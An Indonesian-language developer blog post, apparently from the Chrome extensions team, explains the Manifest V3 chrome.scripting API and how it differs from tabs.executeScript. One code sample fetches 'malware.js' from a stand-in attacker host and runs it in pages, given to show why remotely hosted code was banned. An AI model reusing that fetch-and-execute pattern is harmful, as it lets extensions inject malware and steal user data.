Memperkenalkan chrome.scripting

Manifes V3 memperkenalkan sejumlah perubahan pada platform ekstensi Chrome. Dalam postingan ini, kami akan mempelajari motivasi dan perubahan yang diperkenalkan oleh salah satu perubahan yang lebih penting: pengenalan chrome.scripting API.

Apa yang dimaksud dengan chrome.scripting?

Seperti namanya, chrome.scripting adalah namespace baru yang diperkenalkan di Manifes V3 yang bertanggung jawab atas kemampuan injeksi skrip dan gaya.

Developer yang telah membuat ekstensi Chrome sebelumnya mungkin sudah terbiasa dengan metode Manifes V2 di Tabs API seperti chrome.tabs.executeScript dan chrome.tabs.insertCSS. Metode ini memungkinkan ekstensi memasukkan skrip dan lembar gaya ke dalam halaman. Di Manifes V3, kemampuan ini telah dipindahkan ke chrome.scripting dan kami berencana untuk memperluas API ini dengan beberapa kemampuan baru pada masa mendatang.

Mengapa membuat API baru?

Dengan perubahan seperti ini, salah satu pertanyaan pertama yang cenderung muncul adalah, "mengapa?"

Beberapa faktor berbeda menyebabkan tim Chrome memutuskan untuk memperkenalkan namespace baru untuk pembuatan skrip. Pertama, Tabs API adalah tempat sampah untuk fitur. Kedua, kami perlu membuat perubahan yang menyebabkan gangguan pada executeScript API yang ada. Ketiga, kami tahu bahwa kami ingin memperluas kemampuan skrip untuk ekstensi. Secara bersamaan, masalah ini dengan jelas menentukan kebutuhan akan namespace baru untuk menyimpan kemampuan pembuatan skrip.

Panel samping sampah

Salah satu masalah yang telah mengganggu Tim Ekstensi selama beberapa tahun terakhir adalah chrome.tabs API kelebihan beban. Saat pertama kali diperkenalkan, sebagian besar kemampuan yang disediakan API ini terkait dengan konsep luas tab browser. Namun, pada saat itu, fitur ini masih berupa kumpulan fitur yang beragam dan selama bertahun-tahun koleksi ini terus berkembang.

Pada saat Manifes V3 dirilis, Tabs API telah berkembang untuk mencakup pengelolaan tab dasar, pengelolaan pilihan, pengaturan jendela, pesan, kontrol zoom, navigasi dasar, pembuatan skrip, dan beberapa kemampuan kecil lainnya. Meskipun semuanya penting, hal ini dapat sedikit membingungkan bagi developer saat mereka memulai dan bagi tim Chrome saat kami mengelola platform dan mempertimbangkan permintaan dari komunitas developer.

Faktor lain yang mempersulit adalah izin tabs tidak dipahami dengan baik. Meskipun banyak izin lainnya membatasi akses ke API tertentu (misalnya storage), izin ini sedikit tidak biasa karena hanya memberikan akses ekstensi ke properti sensitif pada instance Tab (dan oleh ekstensi juga memengaruhi Windows API). Dapat dimengerti, banyak developer ekstensi keliru mengira mereka memerlukan izin ini untuk mengakses metode di Tabs API seperti chrome.tabs.create atau, yang lebih tepat, chrome.tabs.executeScript. Memindahkan fungsi dari Tabs API akan membantu mengatasi beberapa kebingungan ini.

Perubahan yang dapat menyebabkan gangguan

Saat mendesain Manifes V3, salah satu masalah utama yang ingin kami tangani adalah penyalahgunaan dan malware yang diaktifkan oleh "kode yang dihosting dari jarak jauh" - kode yang dieksekusi, tetapi tidak disertakan dalam paket ekstensi. Penulis ekstensi yang melakukan penyalahgunaan biasanya mengeksekusi skrip yang diambil dari server jarak jauh untuk mencuri data pengguna, memasukkan malware, dan menghindari deteksi. Meskipun pelaku yang baik juga menggunakan kemampuan ini, pada akhirnya kami merasa bahwa hal ini terlalu berbahaya untuk dibiarkan.

Ada beberapa cara yang dapat dilakukan ekstensi untuk mengeksekusi kode yang tidak dipaketkan, tetapi yang relevan di sini adalah metode chrome.tabs.executeScript Manifes V2. Metode ini memungkinkan ekstensi untuk menjalankan string kode arbitrer di tab target. Hal ini berarti developer berbahaya dapat mengambil skrip arbitrer dari server jarak jauh dan mengeksekusinya di dalam halaman apa pun yang dapat diakses oleh ekstensi. Kami tahu bahwa jika ingin mengatasi masalah kode jarak jauh, kami harus menghapus fitur ini.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Kami juga ingin memperbaiki beberapa masalah lain yang lebih halus pada desain versi Manifest V2, dan membuat API menjadi alat yang lebih rapi dan dapat diprediksi.

Meskipun kami dapat mengubah tanda tangan metode ini dalam Tabs API, kami merasa bahwa antara perubahan yang dapat menyebabkan gangguan ini dan pengenalan kemampuan baru (dibahas di bagian berikutnya), perubahan total akan lebih mudah bagi semua orang.

Memperluas kemampuan pembuatan skrip

Pertimbangan lain yang menjadi input dalam proses desain Manifes V3 adalah keinginan untuk memperkenalkan kemampuan pembuatan skrip tambahan ke platform ekstensi Chrome. Secara khusus, kami ingin menambahkan dukungan untuk skrip konten dinamis dan memperluas kemampuan metode executeScript.

Dukungan skrip konten dinamis telah lama menjadi permintaan fitur di Chromium. Saat ini, ekstensi Chrome Manifest V2 dan V3 hanya dapat mendeklarasikan skrip konten secara statis dalam file manifest.json-nya; platform ini tidak menyediakan cara untuk mendaftarkan skrip konten baru, menyesuaikan pendaftaran skrip konten, atau membatalkan pendaftaran skrip konten saat runtime.

Meskipun kami tahu bahwa kami ingin menangani permintaan fitur ini di Manifest V3, tidak ada API yang ada yang terasa tepat. Kami juga mempertimbangkan untuk menyelaraskan dengan Firefox pada Content Scripts API mereka, tetapi sejak awal kami mengidentifikasi beberapa kelemahan utama dari pendekatan ini. Pertama, kita tahu bahwa kita akan memiliki tanda tangan yang tidak kompatibel (misalnya, menghapus dukungan untuk properti code). Kedua, API kami memiliki kumpulan batasan desain yang berbeda (misalnya, memerlukan pendaftaran untuk tetap ada setelah masa aktif pekerja layanan). Terakhir, namespace ini juga akan membatasi kita ke fungsi skrip konten tempat kita memikirkan pembuatan skrip di ekstensi secara lebih luas.

Di bagian executeScript, kami juga ingin memperluas kemampuan API ini di luar yang didukung versi Tabs API. Lebih khusus lagi, kita ingin mendukung fungsi dan argumen, lebih mudah menargetkan frame tertentu, dan menargetkan konteks non-"tab".

Ke depannya, kami juga mempertimbangkan cara ekstensi dapat berinteraksi dengan PWA yang diinstal dan konteks lain yang secara konseptual tidak dipetakan ke "tab".

Perubahan antara tabs.executeScript dan scripting.executeScript

Di bagian selanjutnya dari postingan ini, saya ingin membahas lebih lanjut kesamaan dan perbedaan antara chrome.tabs.executeScript dan chrome.scripting.executeScript.

Memasukkan fungsi dengan argumen

Saat mempertimbangkan bagaimana platform harus berkembang sehubungan dengan pembatasan kode yang dihosting secara jarak jauh, kami ingin menemukan keseimbangan antara kekuatan mentah eksekusi kode arbitrer dan hanya mengizinkan skrip konten statis. Solusi yang kami temukan adalah mengizinkan ekstensi memasukkan fungsi sebagai skrip konten dan meneruskan array nilai sebagai argumen.

Mari kita lihat sekilas contoh (yang disederhanakan secara berlebihan). Misalnya, kita ingin memasukkan skrip yang menyapa pengguna berdasarkan namanya saat pengguna mengklik tombol tindakan ekstensi (ikon di toolbar). Di Manifes V2, kita dapat membuat string kode secara dinamis dan menjalankan skrip tersebut di halaman saat ini.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Meskipun ekstensi Manifes V3 tidak dapat menggunakan kode yang tidak dipaketkan dengan ekstensi, sasaran kami adalah mempertahankan beberapa dinamisme yang diaktifkan oleh blok kode arbitrer untuk ekstensi Manifes V2. Pendekatan fungsi dan argumen memungkinkan peninjau, pengguna, dan pihak lain yang berkepentingan di Chrome Web Store untuk menilai risiko yang ditimbulkan ekstensi secara lebih akurat sekaligus memungkinkan developer mengubah perilaku runtime ekstensi berdasarkan setelan pengguna atau status aplikasi.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Frame penargetan

Kami juga ingin meningkatkan cara developer berinteraksi dengan frame dalam API yang direvisi. Versi Manifest V2 executeScript memungkinkan developer menargetkan semua frame dalam tab atau frame tertentu dalam tab. Anda dapat menggunakan chrome.webNavigation.getAllFrames untuk mendapatkan daftar semua frame di tab.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Di Manifes V3, kami mengganti properti bilangan bulat frameId opsional dalam objek opsi dengan array bilangan bulat frameIds opsional; hal ini memungkinkan developer menargetkan beberapa frame dalam satu panggilan API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Hasil injeksi skrip

Kami juga telah meningkatkan cara kami menampilkan hasil injeksi skrip di Manifes V3. "Hasil" pada dasarnya adalah pernyataan akhir yang dievaluasi dalam skrip. Anggap saja seperti nilai yang ditampilkan saat Anda memanggil eval() atau menjalankan blok kode di konsol Chrome DevTools, tetapi diserialisasi untuk meneruskan hasil di seluruh proses.

Dalam Manifes V2, executeScript dan insertCSS akan menampilkan array hasil eksekusi biasa. Hal ini tidak masalah jika Anda hanya memiliki satu titik injeksi, tetapi urutan hasil tidak dijamin saat memasukkan ke beberapa frame sehingga tidak ada cara untuk mengetahui hasil mana yang terkait dengan frame mana.

Untuk contoh konkret, mari kita lihat array results yang ditampilkan oleh versi Manifest V2 dan Manifest V3 dari ekstensi yang sama. Kedua versi ekstensi akan memasukkan skrip konten yang sama dan kita akan membandingkan hasilnya di halaman demo yang sama.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Saat menjalankan versi Manifes V2, kita akan mendapatkan kembali array [1, 0, 5]. Manakah hasil yang sesuai dengan frame utama dan mana yang untuk iframe? Nilai yang ditampilkan tidak memberi tahu kita, jadi kita tidak tahu pasti.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Dalam versi Manifes V3, results kini berisi array objek hasil, bukan array hanya hasil evaluasi, dan objek hasil mengidentifikasi ID frame dengan jelas untuk setiap hasil. Hal ini memudahkan developer untuk menggunakan hasilnya dan mengambil tindakan pada frame tertentu.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Rangkuman

Peningkatan versi manifes menghadirkan peluang langka untuk memikirkan kembali dan memodernisasi API ekstensi. Sasaran kami dengan Manifest V3 adalah meningkatkan pengalaman pengguna akhir dengan membuat ekstensi lebih aman sekaligus meningkatkan pengalaman developer. Dengan memperkenalkan chrome.scripting di Manifes V3, kami dapat membantu membersihkan Tabs API, untuk membayangkan ulang executeScript untuk platform ekstensi yang lebih aman, dan untuk meletakkan dasar bagi kemampuan pembuatan skrip baru yang akan hadir akhir tahun ini.